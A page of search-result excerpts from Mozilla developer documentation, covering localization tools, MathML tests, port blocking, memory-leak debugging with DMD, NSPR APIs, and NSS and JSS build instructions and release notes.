...er focus manager io nsiioservice nsiioservice2 i/o service locale nsilocaleservice locale service logins nsiloginmanager password manager service metro nsiwinmetroutils 2 mm nsimessagebroadcaster nsiframescriptloader global frame message manager3 obs nsiobserverservice observer service perms nsipermissionmanager permission manager service ppmm nsimessagebroadcaster nsiprocessscriptloader global parent process message manager3 prefs nsiprefbranch nsiprefbranch2 nsiprefservice preferences service prompt nsipromptservice prompt service scriptloader mozijssubscriptloader javascript subscript loader service ...
Localizing extension metadata on addons.mozilla.org
y dedicated to the localization of extensions for moz family apps. they are volunteer translators from all over the world and are maintaining translations for more than 400 extensions with an online translation system. they also provide help for adding a localization support to your extension if there is no localization structure yet. you can already request for amo fields localization on the forums, and these fields will be added soon to the web translation system. amazon mechanical turk this is not free, but for a very modest amount of money you can get your amo page quickly translated by native speakers. create an account and then, using the “basic open-ended question” template, follow the instructions to upload the text of your amo page. on the properties page you can specify the l...
...et your amo page quickly translated by native speakers. create an account and then, using the “basic open-ended question” template, follow the instructions to upload the text of your amo page. on the properties page you can specify the location of the worker in order to restrict to people living in the country where the language is spoken. the reward is up to you, but $5-10 per translation seems to work well. localization codes amo offers 33 localizations, including english. here is a list of the codes: arabic (ar), catalan (ca), czech (cs), danish (da), german (de), greek (el), basque (eu), spanish (es-es), farsi (fa), finnish (fi), french (fr), gaeilge (ga-ie), hebrew (he), hungarian (hu), indonesian (id), italian (it), japanese (ja), korean (ko), mongolian (mn), dutch (nl), polish ...
Localizing with Pontoon
will automatically open that locale's project for you to get started. note that for our purposes here, we'll be using firefox affiliates website to demo pontoon's functionality and workflow. and there it is, opened inside pontoon: main toolbar as you can see, most of the interface is taken by the website being translated. only the toolbar on top belongs to pontoon, containing the following items (from left to right): list of strings opens a sidebar with a list of all strings to localize. project selector (affiliates) switches between projects to localize. resource selector (homepage) switches between project resources to localize, like subpages or localization files. hidden if no resources available for project. locale selector (slovenian) switches between languages to ...
...o translate with your mouse. an edit button appears over that text. click on it to enable the translate mode. replace the original text with its translation into your language. click the save button to save your translation. out-of-context some strings are impossible to translate in-context, e.g. the contents of the <title> tag in websites and strings with placeables or different plural forms. by clicking on the hamburger icon in the main toolbar, a list of all strings and available translations will open in the sidebar. you can also use the sidebar for out-of-context localization: click on the string you'd like to translate. translation panel with original string and its details (e.g. comments) opens. translate the string in the translation area below. click the save button ...
Various MathML Tests
overview of presentation mathml elements testing tensor indices <mmultiscripts>: r i1 j2 k3 ; this with <none/>, a qp i a bit of calculus: ∫ a b f ( x ) dx ∂ ∂ x f ( x , y ) + ∂ ∂ y f ( x , y ) here is the alphabet with invisible portions wrapped by <mphantom> in between: a b c d e f g h i j k l m n o p q r s t u v w x y z . testing mathml <msub>: a b ; a i ; a i k testing mathml <msup>: d b 2 a x 2 2 x ( 1 2 ) y a x . testing mathml <munder>, <mover>, and <munderover>: abcd un abcd ov abcd under over . testing mathml <msubsup>: a p q a b + c x . testing mathml <mrow>: d ( a b ) x 2 + 4 * x + p q = 0 , with this <mfrac> hanging here d * t ( i + j n ) ...
...expression first expression statusline#second expression second expression statusline#and so on... and so on.. click the expression below to see several definitions of pi: π = 3.14159265358... π = 2i ⁢ log 1-i 1+i π = 2 . 2 2 . 2 2 + 2 . 2 2 + 2 + 2 ... π 4 = 1 2 + 12 2 + 32 2 + 52 2 + 72 2+... thomson scattering theory d 2 p d Ω s   d ω s = r e 2 ∫ v < s i > d 3 r ∫ | e ^ . Π ↔ . e ^ | 2 κ 2 f   δ ( k . v - ω ) d 3 v = r e 2 ∫ v < s i > d 3 r ∫ | 1 - ( 1 - s ^ . ı ^ ) ( 1 - β i ) ( 1 - β s ) β e 2 | 2 | 1 - β i 1 - β s | 2 × ( 1 - β 2 )   f   δ ...
MathML Demo: <mmultiscripts> - attach prescripts and tensor indices to a base
a mathml mmultiscripts object allows you to build tensor-like objects. for example m c d a b . the scripts come in pairs, with <mprescripts/> used to indicate prescripts and <none/> used to hold an empty position as in f b a . there are some variations possible: <mmultiscripts> a a b c d , nested <msubsup>s a a b c d , or &invisiblecomma; a a ⁣ c b ⁣ d . ...
... a b c d , or &invisiblecomma; a a ⁣ c b ⁣ d . ...
Mozilla MathML Project
ct to build and enhance mathml support within firefox and other mozilla-based applications. for a quick overview, see the slides for the innovation fairs at mozilla summit 2013. updates status of each tag result of the mathml 3 testsuite unofficial nightly builds with mathml patches applied (maintained by bill gianopoulos) more updates and archived content community view mozilla forums... mailing list newsgroup rss feed irc channel wiki used by contributors - check out the latest developments and help us improving mathml in mozilla. links installing fonts for mozilla's mathml engine mathml version 3.0 - w3c recommendation, 21 october 2010 w3c mathml test suite - designed to check the implementation of each element one attribute (or built-in rendering behavior...
... sample mathml documents screenshots mathml start page - with translations in different languages ( arabic, chinese, hebrew, thai) mathml basics - document tailored to display correctly with just the symbol font that is pre-installed by default on most os configurations. mathml torture test - comparative testing of mathml rendering against tex. demo of some mathml tags: mfrac, mo, mtable, mspace, mmultiscripts, msqrt-mroot. mathml extras - technology demonstration of some interesting upshots from building natively upon the browser environment. various mathml tests - these pages were imported from layout/mathml/tests/. blog with comments that include mathml. create mathml documents authoring mathml editors converters stylesheets original document information author(s)...
Mozilla Port Blocking
ewall: a really nasty hole. mozilla responded by modifying how protocols can access ports. by default, mozilla now blocks access to specific ports which are used by vulnerable services in order to prevent security vulnerabilites due to "cross-protocol scripting". each protocol's handler can override this blocking for itself in order to enable the required access for that protocol. potential problems caused by port blocking port blocking can cause problems if a site or web application requires access to one of the ports which is blocked in mozilla. if a user attempts to access a uri on a blocked port, mozilla shows one of the following alerts to the user or in the error console. "access to the port number given has been disabled for security reasons." "establishing a connection to an unsafe o...
...e the blocking see below. modifying mozilla's port blocking at run time users can modify the default port blocking through the addition of preferences containing comma delimited lists of port numbers to the user.js file (for single users with the user_pref(…) command) in the user's profile directory. see the example below. additionaly administrators can edit the all.js file (for multi-user systems with pref(…) ) in the defaults/pref/ sub-directory in the installation directory. enabling ports user_pref("network.security.ports.banned.override, "port1,port2"); disabling ports user_pref("network.security.ports.banned", "port3,port4"); blocked ports ports blocked by default in mozilla: port service 1 tcpmux 7 echo 9 discard 11 syst...
Investigating leaks using DMD heap scan mode
ou may need to disable some shutdown checks. first, in toolkit/components/terminator/nsterminator.cpp, delete everything in runwatchdog but the call to ns_setcurrentthreadname. this will keep the watch dog from killing the browser when shut down takes multiple minutes. secondly, you may need to comment out the call to moz_crash("nss_shutdown failed"); in xpcom/build/xpcominit.cpp, as this also seems to trigger when shutdown is extremely slow. you need the cycle collector analysis script find_roots.py, which can be downloaded as part of this repo on github. generating logs the next step is to generate a number of log files. you need to get a shutdown cc log and a dmd log, for a single run. definitions i'll write $objdir for the object directory for your firefox dmd build, $srcdir for the...
... source of the leak was pass the address of this object into the cycle collector analysis log, find_roots.py, that we used at an earlier step. that gave a result that contained this: 0x7f0882fe3230 [fragmentorelement (xhtml) script [...] --[mnodeinfo]--> 0x7f0897431f00 [nodeinfo (xhtml) script] [...] --[mloadingasyncrequests]--> 0x7f0892f29630 [scriptloadrequest] this confirms that this block is actually a scriptloadrequest. secondly, notice that the load request is being held alive by the very same script element that is causing the window leak! this strongly suggests that there is a cycle of strong references between the script element and the load request. i then added the missing field to the traverse and unlink methods of scriptloadrequest, and confirmed that i co...
DMD
an analyze these files (either gzipped or not) using dmd.py. on nightly firefox, dmd.py is included in the distribution. for instance on os x, it is located in the directory /applications/firefox nightly.app/contents/resources/. for nightly, symbolication will fail, but you can at least get some information. in a local build, dmd.py will be located in the directory $objdir/dist/bin/. some platforms (linux, mac, android) require stack fixing, which adds missing filename, function name and line number information. this will occur automatically the first time you run dmd.py on the output file. this can take 10s of seconds or more to complete. (this will fail if your build does not contain symbols. however, if you have crash reporter symbols for your build -- as tryserver builds do -- you can u...
...ltiple frames that mention allocation wrapper functions, e.g. js_calloc() calls replace_calloc(). this option filters these out. it often helps improve the quality of the output when using a small --max-frames value. -s / --sort-by. this controls how records are sorted. acceptable values are usable (the default), req, slop and num-blocks. --clamp-contents. for a heap scan log, this performs a conservative pointer analysis on the contents of each block, changing any value that is a pointer into the middle of a live block into a pointer to the start of that block. all other values are changes to null. in addition, all trailing nulls are removed from the block contents. as an example that combines multiple options, if you apply the following command to a profile obtained in "live" mo...
JS::PerfMeasurement
the js::perfmeasurement class, found in jsperf.h, lets you take detailed performance measurements of your code. it is a stopwatch profiler -- that is, it counts events that occur while code of interest is running; it does not do call traces or sampling. ...
...ns .cpu_migrations migrations of the profiled thread from one cpu core to another these events map directly to "generic events" in the linux 2.6.31+ <linux/perf_event.h> interface, and so unfortunately are a little vague in their specification; for instance, we can't tell you exactly which level of cache you get misses for if you measure cache_misses. we also can't guarantee that all platforms will support all event types, once we have more than one back end for this interface. here is the complete c++-level api: perfmeasurement::eventmask this is an enumeration defining all of the bit mask values in the above table. you bitwise-or the ones you want together and pass them to the constructor. perfmeasurement::all in a constructor call, this special value means "measure everything that...
Reporting a Performance Problem
ffer, it discards old entries so you may want to increase the buffer size if you find you are unable to capture the profile quickly enough after you notice a performance problem. if you choose custom settings (and then clicking edit settings) for the profiler, you can adjust the size of the buffer (presently defaults to 90 mb) and the time interval between data collection (presently defaults to 1 ms). note that increasing the buffer size uses more memory and can make capturing a profile take longer. using the keyboard shortcuts is often more convenient than using the mouse to interact with the ui: ctrl+shift+1 - start/stop the profiler ctrl+shift+2 - take a profile and launch the viewer to view it capturing and sharing a profile while the profiler is recording, reproduce the perf...
...ve some context about what you were doing when the performance problem arose such as the url you were viewing and what actions were you doing (ex. scrolling on gmail.com). viewing addon performance in geckoview sometimes an addon or more are slowing down firefox. these addons might be using the extension api in ways that were not meant to. you can see which of these addons are causing problems by adding the "moz-extension" filter. make sure you are selecting the process that is using up the cpu since all of the processes are shown. you might have a content process using up the cpu and not the main one. make sure you are doing whatever it is that slows down firefox while recording the profile. for example you might have one addon that slows down page load and another one that slows ...
Preferences system
the system is implemented through a few xul elements and attributes. ...
...checkbox id="check1" preference="pref1" label="&check1.label;" accesskey="&check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/> </prefwindow> pane content can be specified inline or an external chrome uri supplied for pane content to be loaded in via a dynamic overlay. you should be careful to read the higs for the platforms you are targeting and use the xul preprocessor if necessary to set different window titles as appropriate. you should also be careful to specify the width of the window (in em) as appropriate using the preprocessor for each targeted platform, as well as the height (in em) for platforms where the window size does not change as the selected panel is changed (e.g. windows). usage in xulrunner applic...
Patches and pushes
for references on ho...
...for references on how each tag functions, visit the opensearch wiki page and the mozsearch wiki page. the pages are old (i mean, firefox 2???), ...
MailNews automated testing
functional testing xpcshell-tests and make check these are core test harnesses to which mailnews adds its own tests. ...
...t-loop-spinning style of operation used by mozmill. message synthesis: create messages by specifying what properties the messages should have. message injection: inject synthesized messages via local or imap (using a fake server). message manipulation: mark messages as read, tag them, untag them, move them to other folders, trash them, etc. enhanced logging: supports generating rich json streams to disk or over the network for consumption by logsploder or other tools. performance testing mail leak and bloat tests these tests start up thunderbird or seamonkey and record any leaks found, as well as the total memory requirement. although currently based on simple tests, these are useful for determining if new leaks have been introduced. for more information, see leak and bloat tests. ...
NSPR's Position On Abrupt Thread Termination
threads are not processes. abrupt termination has been available in the unix/c environment for some time (exit()), and i assume that the basic semantics defined there are applicable here. ...
... what this memo is about. this is about providing an api that coaxes people to do the right thing in as many ways as possible. the existence of exit() in the unix/c environment is a perfect example of how programmers will employ the most expediant solution available. the definition of the language c is such that returning from main() is a perfectly fine thing to do. but what percentage of c programs actually bother? in unix, with its complex definition of a protection domain, it happens to work (one might even say it's more efficient) to exit from anywhere. but threads are not processes. if threads have to maintain the same type of resource knowledge as a process, they loose all of their benefit. threads are an implementation strategy to provide the illusion of concurrency within a process. ...
Process Forking in NSPR
the threads provided in netscape portable runtime (nspr) are implemented using different mechanisms on the various platforms. on some platforms, nspr threads directly map one-to-one to the threads provided by the platform vendor, on other platforms nspr threads are basically user-level threads within a single process (with no kernel threads) and on still others nspr threads are user-level threads implemented on top of one or more kernel threads within single address space. nspr does not override the fork function and so, when fork is called from the nspr thread the results are different on the various platforms. all the threads present in the parent process may be replicated in the child process, only the calling thread may be replicated in the child process or only the calling kerne...
...e address space. nspr does not override the fork function and so, when fork is called from the nspr thread the results are different on the various platforms. all the threads present in the parent process may be replicated in the child process, only the calling thread may be replicated in the child process or only the calling kernel thread may be replicated. so, to be consistent across all platforms, it is suggested that when using fork in a nspr thread; the exec function should be called in the child process. no nspr functions should be called in the child process before the exec call is made. original document information author: alan o. freier last updated date: 1998 ...
Date and Time
at absolute and clock times are not normally used in timing operations. for functions that deal with the measurement of elapsed time and with timeouts, see interval timing. macros for time unit conversion types and constants time parameter callback functions functions macros for time unit conversion macros for converting between seconds, milliseconds, microseconds, and nanoseconds. ...
...operations. for functions that deal with the measurement of elapsed time and with timeouts, see interval timing. macros for time unit conversion types and constants time parameter callback functions functions macros for time unit conversion macros for converting between seconds, milliseconds, microseconds, and nanoseconds. pr_msec_per_sec pr_usec_per_sec pr_nsec_per_sec pr_usec_per_msec pr_nsec_per_msec types and constants types and constants defined for nspr dates and times are: prtime prtimeparameters prexplodedtime time parameter callback functions in some geographic locations, use of daylight saving time (dst) and the rule for determining the dates on which dst starts and ends have changed a few times. therefore, a callback function is used to determine time zo...
I/O Functions
hname. nspr uses unix-style pathnames, which are null-terminated character strings. only the ascii character set is supported. the forward slash (/) separates the directories in a pathname. nspr converts the slashes in a pathname to the directory separator of the native os--for example, backslash (\) on windows and colon (:) on mac os--before passing it to the native system calls. some file systems also differentiate drives or volumes. pr_open pr_delete pr_getfileinfo pr_getfileinfo64 pr_rename pr_access type praccesshow functions that act on file descriptors pr_close pr_read pr_write pr_writev pr_getopenfileinfo pr_getopenfileinfo64 pr_seek pr_seek64 pr_available pr_available64 pr_sync pr_getdesctype pr_getspecialfd pr_createpipe directory i/o funct...
... pr_readdir pr_closedir pr_mkdir pr_rmdir socket manipulation functions the network programming interface presented here is a socket api modeled after the popular berkeley sockets. differences include the following: the blocking socket functions in nspr take a timeout parameter. two new functions, pr_transmitfile and pr_acceptread, can exploit the new system calls of some operating systems for higher performance. list of functions: pr_openudpsocket pr_newudpsocket pr_opentcpsocket pr_newtcpsocket pr_importtcpsocket pr_connect pr_connectcontinue pr_accept pr_bind pr_listen pr_shutdown pr_recv pr_send pr_recvfrom pr_sendto pr_transmitfile pr_acceptread pr_getsockname pr_getpeername pr_getsocketoption pr_setsocketoption converting between host and networ...
PRExplodedTime
a clock/calendar representation of times. syntax #include <prtime.h> typedef struct prexplodedtime { print32 tm_usec; print32 tm_sec; print32 tm_min; print32 tm_hour; print32 tm_mday; print32 tm_month; print16 tm_year; print8 tm_wday; print16 tm_yday; prtimeparameters tm_params; } prexplodedtime; description the prexplodedtime structure represents clock/calendar time. prexplodedtime has the familiar time components: year, month, day of month, hour, minute, second. it also has a microsecond component, as well as the day of week and the day of year. in addition, prexplodedtime includes a prtimeparameters structure representing the local time zone information, so that the time point is non-ambiguously specified. the essential members ...
...the range is [1, 31]. note that it starts from 1 as opposed to 0. tm_hour: number of hours past tm_mday. the range is [0, 23]. tm_min: number of minutes past tm_hour. the range is [0, 59]. tm_sec: number of seconds past tm_min. the range is [0, 61]. the values 60 and 61 are for accommodating up to two leap seconds. tm_usec: number of microseconds past tm_sec. the range is [0, 999999]. tm_params: a prtimeparameters structure representing the local time zone information. the nonessential members of prexplodedtime are: tm_wday: day of week. the range is [0, 6]. 0 is sunday, 1 is monday, and 6 is saturday. tm_yday: day of year. the range is [0, 365]. 0 is the 1st of january. on input to nspr functions, only the essential members of prexplodedtime must be specified. the two nonessent...
PR_ExplodeTime
exploded a pointer to a location where the converted time can be stored. this location must be preallocated by the caller. returns nothing; the buffer pointed to by exploded is filled with the exploded time. ...
... exploded a pointer to a location where the converted time can be stored. this location must be preallocated by the caller. returns nothing; the buffer pointed to by exploded is filled with the exploded time. ...
PR ImportTCPSocket
on windows, this is a socket. returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly imported native tcp socket. if the import of the native tcp socket failed, null. ...
...eturned by pr_importtcpsocket instead. although pr_importtcpsocket is a supported function, it is declared in "private/pprio.h" to stress the fact that this function depends on the internals of the nspr implementation. the caller needs to understand what nspr will do to the native file descriptor and make sure that nspr can use the native file descriptor successfully. for example, on posix systems, nspr will put the native file descriptor (an int) in non-blocking mode by calling fcntl to set the o_nonblock file status flag on the native file descriptor, and then nspr will call socket functions such as recv, send, and poll on the native file descriptor. the caller must not do anything to the native file descriptor before the pr_importtcpsocket call that will prevent the native file descript...
PR OpenUDPSocket
creates a new udp socket of the specified address family. syntax #include <prio.h> prfiledesc* pr_openudpsocket(printn af); parameters the function has the following parameters: af the address family of the new udp socket. can be pr_af_inet (ipv4), pr_af_inet6 (ipv6), or pr_af_local (unix domain, supported on posix systems only). returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly opened udp socket. if the creation of a new udp socket failed, null. description udp (user datagram protocol) is a connectionless, unreliable datagram protocol of the tcp/ip protocol suite. udp datagrams may be lost or delivered in duplicates or out of sequence. pr_openudpsocket creates a new udp socket ...
...p socket. if the creation of a new udp socket failed, null. description udp (user datagram protocol) is a connectionless, unreliable datagram protocol of the tcp/ip protocol suite. udp datagrams may be lost or delivered in duplicates or out of sequence. pr_openudpsocket creates a new udp socket of the address family af. the socket may be bound to a well-known port number with pr_bind. datagrams can be sent with pr_sendto and received with pr_recvfrom. when the socket is no longer needed, it should be closed with a call to pr_close. ...
Building NSS
please read these instructions carefully before attempting to build. build environment nss needs a c and c++ compiler. it has minimal dependencies, including only standard c and c++ libraries, plus zlib. for building, you also need make. ideally, also install gyp and ninja and put them on your path. this is recommended, as the build is faster and more reliable. ...
...ld for a 32-bit environment/abi. this is the default. 1 build for a 64-bit environment/abi. this is recommended. use_asan 0 do not create an addresssanitizer build. this is the default. 1 create an addresssanitizer build. unit testing nss contains extensive unit tests. scripts to run these are found in the tests directory. run the standard suite by: host=localhost domsuf=localdomain use_64=1 nss/tests/all.sh unit test configuration nss tests are configured using environment variables. the scripts will attempt to infer values for host and domsuf, but can fail. replace localhost and localdomain with the hostname and domain suffix for your host. you need to be able to connect to $host.$domsuf. if you don't have a domain suffix you can add an entry to /etc/hosts...
Cryptography functions
object mxr 3.9.2 and later pk11_getnextsafe mxr 3.4 and later pk11_getnextsymkey mxr 3.4 and later pk11_getpadmechanism mxr 3.4 and later pk11_getpbecryptomechanism mxr 3.12 and later pk11_getpbeiv mxr 3.6 and later pk11_getpqgparamsfromprivatekey mxr 3.4 and later pk11_getprevgenericobject mxr 3.9.2 and later pk11_getprivatekeynickname mxr 3.4 and later pk11_getprivatemoduluslen mxr 3.2 and later pk11_getpublickeynickname mxr 3.4 and later pk11_getslotfromkey mxr 3.2 and late...
... seckey_createdhprivatekey mxr 3.3 and later seckey_createecprivatekey mxr 3.8 and later seckey_createsubjectpublickeyinfo mxr 3.2 and later seckey_decodedersubjectpublickeyinfo mxr 3.4 and later seckey_destroyprivatekey mxr 3.2 and later seckey_ecparamstobasepointorderlen mxr 3.12 and later seckey_ecparamstokeysize mxr 3.12 and later seckey_destroypublickeylist mxr 3.4 and later seckey_destroysubjectpublickeyinfo mxr 3.2 and later seckey_getpublickeytype mxr 3.3 and later seckey_publickeystrengthinbits ...
Getting Started With NSS
would you like to get involved and help us to improve the core security of mozilla firefox and other applications that make use of nss? we are looking forward to your contributions! we have a large list of tasks waiting for attention, and we are happy to assist you in identifying areas that match your interest or skills. you can find us on mozilla irc in channel #nss or you could ask your questions on the mozilla.dev.tech.crypto newsgroup. ...
...yword "good-first-bug" that you can view. creating your patch seee our section on nss sources, building, and testing to get started making your patch. when you're satisfied with it, you'll need code review. code review http://phabricator.services.mozilla.com/ is our code review tool, which uses your bugzilla account. use our phabricator user instructions to upload patches for review. some items that will be evaluated during code review are listed in checklist form on github. after passing review, your patch can be landed by a member of the nss team. you can find us on mozilla irc in channel #nss. note that we don't land code that isn't both reviewed and tested. code only works when it has tests, and tests only work when they're part of the automation. ...
4.3.1 Release Notes
ere implemented in this release can be obtained by running this bugzilla query jss 4.3.1 requires nss 3.12.5 or higher. ssl3 & tls renegotiation vulnerability see cve-2009-3555 and us-cert vu#120541 for more information about this security vulnerability. all ssl/tls renegotiation is disabled by default in nss 3.12.5 and therefore will be disabled by default with jss 4.3.1. this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf. if an application depends on renegotiation feature, it can be enabled by setting the environment variable nss_ssl_enable_renegotiation to 1. by setting this environmen...
...red library from the exact same release. to obtain the version info from the jar file use, "system.out.println(org.mozilla.jss.cryptomanager.jar_jss_version)" and to check the shared library: strings libjss4.so | grep -i header feedback bugs discovered should be reported by filing a bug report with bugzilla. you can also give feedback directly to the developers on the mozilla cryptography forums... mailing list newsgroup rss feed ...
Build instructions for JSS 4.3.x
to build jss. follow these steps: switch to the appropriate directory and check out jss from the root of your source tree. cvs co -r jss_4_3_1_rtm mozilla/security/jss or cvs co -r jss_4_3_rtm mozilla/security/jss setup environment variables needed for compiling java source. the java_home variable indicates the directory containing your java sdk installation. ...
...security/jss setup environment variables needed for compiling java source. the java_home variable indicates the directory containing your java sdk installation. note, on windows platforms it is best to have java_home set to a directory path that doest not have spaces. unix setenv java_home /usr/local/jdk1.5.0 (or wherever your jdk is installed) windows set java_home=c:\programs\jdk1.5.0 (or wherever your jdk is installed) windows (cygnus) java_home=/cygdrive/c/programs/jdk1.5.0 (or wherever your jdk is installed) export java_home windows build configurations winnt vs win95 as of nss 3.15.4, nspr/nss/jss build generates a "win95" configuration by default on windows. we recommend most applications use the "win95" configuration. if you want jss to be...
NSS Key Log Format
wireshark 1.6.0 and above can use these log files to decrypt packets. you can tell wireshark where to find the key file via edit→preferences→protocols→ssl→(pre)-master-secret log filename. key logging is enabled by setting the environment variable sslkeylogfile to point to a file. note: starting with nss 3.24 (used by firefox 48 and 49 only), the sslkeylogfile approach is disabled by default for optimized builds using the makefile (those using gyp via build.sh are not affected). distributors can re-enable it at compile time though (using the nss_allow_sslkeylogfile=1 make variable) which is done for the official firefox binaries. ...
...early exporter secret (for tls 1.3, used for 0-rtt keys in older quic drafts). exporter_secret: the hex-encoded exporter secret (for tls 1.3, used for 1-rtt keys in older quic drafts) the rsa form allows ciphersuites using rsa key-agreement to be logged and was the first form supported by wireshark 1.6.0. it has been superseded by client_random which also works with other key-agreement algorithms (such as those based on diffie-hellman) and is supported since wireshark 1.8.0. the tls 1.3 lines are supported since nss 3.34 (bug 1287711) and wireshark 2.4 (early_exporter_secret exists since nss 3.35, bug 1417331). the size of the hex-encoded secret depends on the selected cipher suite. it is 64, 96 or 128 characters for sha256, sha384 or sha512 respectively. for wireshark usage, see ssl - ...
NSS_3.12.2_release_notes.html
ub/mozilla.org/security/nss/releases/nss_3_12_2_rtm/. both debug and optimized builds are provided. go to the subdirectory for your platform, dbg (debug) or opt (optimized), to get the tar.gz or zip file. the tar.gz or zip file expands to an nss-3.12.2 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin< - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12.2 requires. nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/. new in nss 3.12.2 new functions in the nss shared library: sec_pkcs12addcertorchainandkey (see p12.h) new pkcs11 errors (see secerr.h) sec_e...
...e following bugs have been fixed in nss 3.12.2. ...
NSS 3.12.9 release notes
r 4.8.7 header files and shared libraries, which nss 3.12.9 requires. nspr 4.8.7 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.8.7/. new in nss 3.12.9 removed functions new ssl options new error codes bugs fixed the following bugs have been fixed in nss 3.12.9. ...
... bug 536485: crash during ssl handshake in [@ intel_aes_decrypt_cbc_256] bug 444367: nss 3.12 softoken returns the certificate type of a certificate object as ckc_x_509_attr_cert. bug 620908: certutil -t -d "sql:." dumps core bug 584257: need a way to expand partial private keys. ...
NSS 3.14.3 release notes
on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_3_rtm/src/ new in nss 3.14.3 new functionality no new major functionality is introduced in this release. this release is a patch release to address cve-2013-1620. ...
...s/nss_3_14_3_rtm/src/ new in nss 3.14.3 new functionality no new major functionality is introduced in this release. this release is a patch release to address cve-2013-1620. new functions in pk11pub.h pk11_signwithsymkey - similar to pk11_sign, performs a signing operation in a single operation. however, unlike pk11_sign, which uses a seckeyprivatekey, pk11_signwithsymkey performs the signature using a symmetric key, such as commonly used for generating macs. new types ck_nss_mac_constant_time_params - parameters for use with ckm_nss_hmac_constant_time and ckm_nss_ssl3_mac_constant_time. new pkcs #11 mechanisms ckm_nss_hmac_constant_time - constant-time hmac operation for use when verifying a padded, mac-then-encrypted block of data. ckm_nss_ssl3_mac_cons...
NSS 3.15 release notes
ty functions to handle the allocation and deallocation of secitemarrays secitem_reallocitemv2 - replaces secitem_reallocitem, which is now obsolete. secitem_reallocitemv2 better matches caller expectations, in that it updates item->len on allocation. for more details of the issues with secitem_reallocitem, see bug 298649 and bug 298938. in pk11pub.h pk11_decrypt - performs decryption as a single pkcs#11 operation (eg: not multi-part). this is necessary for aes-gcm. pk11_encrypt - performs encryption as a single pkcs#11 operation (eg: not multi-part). this is necessary for aes-gcm. new types in secitem.h secitemarray - represents a variable-length array of secitems. new macros in ssl.h ssl_enable_ocsp_stapling - us...
...e list of root ca certificates in the nssckbi module has been updated. the default implementation of ssl_authcertificate has been updated to add certificate status responses stapled by the tls server to the ocsp cache. applications that use ssl_authcertificatehook to override the default handler should add appropriate calls to ssl_peerstapledocspresponse and cert_cacheocspresponsefromsidechannel. bug 554369: fixed correctness of cert_cacheocspresponsefromsidechannel and other ocsp caching behaviour. bug 853285: fixed bugs in aes gcm. bug 341127: fix the invalid read in rc4_wordconv. faster nist curve p-256 implementation. dropped (32-bit) sparc v8 processor support on solaris. the shared library libfreebl_32int_3.so is no longer produced. bugs fixed in nss 3.15 th...
NSS 3.22 release notes
pports sec_oid_pkcs5_pbkdf2 with cipheralgtag and prfalgtag set to sec_oid_hmac_sha256, sec_oid_hmac_sha224, sec_oid_hmac_sha384, or sec_oid_hmac_sha512. enforce an external policy on nss from a config file (bug 1009429) you can now add a config= line to pkcs11.txt (assuming you are using sql databases), which will force nss to restrict the application to certain cryptographic algorithms and protocols. a complete list can be found in nss config options. new functions in pk11pub.h pk11_signwithmechanism - this function is an extended version pk11_sign(). pk11_verifywithmechanism - this function is an extended version of pk11_verify(). these functions take an explicit mechanism and parameters as arguments rather than inferring it from the key type usin...
...1_verifywithmechanism - this function is an extended version of pk11_verify(). these functions take an explicit mechanism and parameters as arguments rather than inferring it from the key type using pk11_mapsignkeytype(). the mechanism type ckm_rsa_pkcs_pss is now supported for rsa in addition to ckm_rsa_pkcs. the ck_rsa_pkcs_pss mechanism takes a parameter of type ck_rsa_pkcs_pss_params. in ssl.h ssl_peersignedcerttimestamps - get signed_certificate_timestamp tls extension data ssl_setsignedcerttimestamps - set signed_certificate_timestamp tls extension data new types in secoidt.h the following are added to secoidtag: sec_oid_aes_128_gcm sec_oid_aes_192_gcm sec_oid_aes_256_gcm sec_oid_idea_cbc sec_oid_rc2_40_...
NSS 3.24 release notes
for functions that use temporary arenas, allocating a portcheaparena on the stack is more performant than allocating a plarenapool on the heap. rather than declaring a plarenapool pointer and calling port_newarena/port_freearena to allocate or free an instance on the heap, declare a portcheaparenapool on the stack and use port_initcheaparena/port_destroycheaparena to initialize and destroy it. items allocated from the arena are still created on the heap, only the arena itself is stack-allocated. note: this approach is only useful when the arena use is tightly bounded, for example, if it is only used in a single function. new elements this section lists and briefly describes the new functions, types, and macros in nss 3.24. new functions in ssl.h ssl_configservercert - configure...
... value for certificates that might be used for signing rather than key exchange. update sslauthtype to define a larger number of authentication key types. deprecate the member attribute authalgorithm of type sslciphersuiteinfo. instead, applications should use the newly added attribute authtype. rename ssl_auth_rsa to ssl_auth_rsa_decrypt. add a shared library (libfreeblpriv3) on linux platforms that define freebl_lowhash. remove most code related to ssl v2, including the ability to actively send a sslv2-compatible client hello. however, the server-side implementation of the ssl/tls protocol still supports processing of received v2-compatible client hello messages. disable (by default) nss support in optimized builds for logging ssl/tls key material to a logfile if the sslkeylogfile en...
NSS 3.25.1 release notes
g for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_25_1_rtm/src/ new in nss 3.25.1 new functionality no new functionality is introduced in this release. this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.25. ...
...a program linked with older nss 3.x shared libraries will work with nss 3.25.1 shared libraries without recompiling or relinking. ...
NSS 3.26.2 release notes
for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_26_2_rtm/src/ new in nss 3.26.2 new functionality no new functionality is introduced in this release. this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.26.1. ...
...a program linked with older nss 3.x shared libraries will work with nss 3.26.2 shared libraries without recompiling or relinking. ...
NSS 3.39 release notes
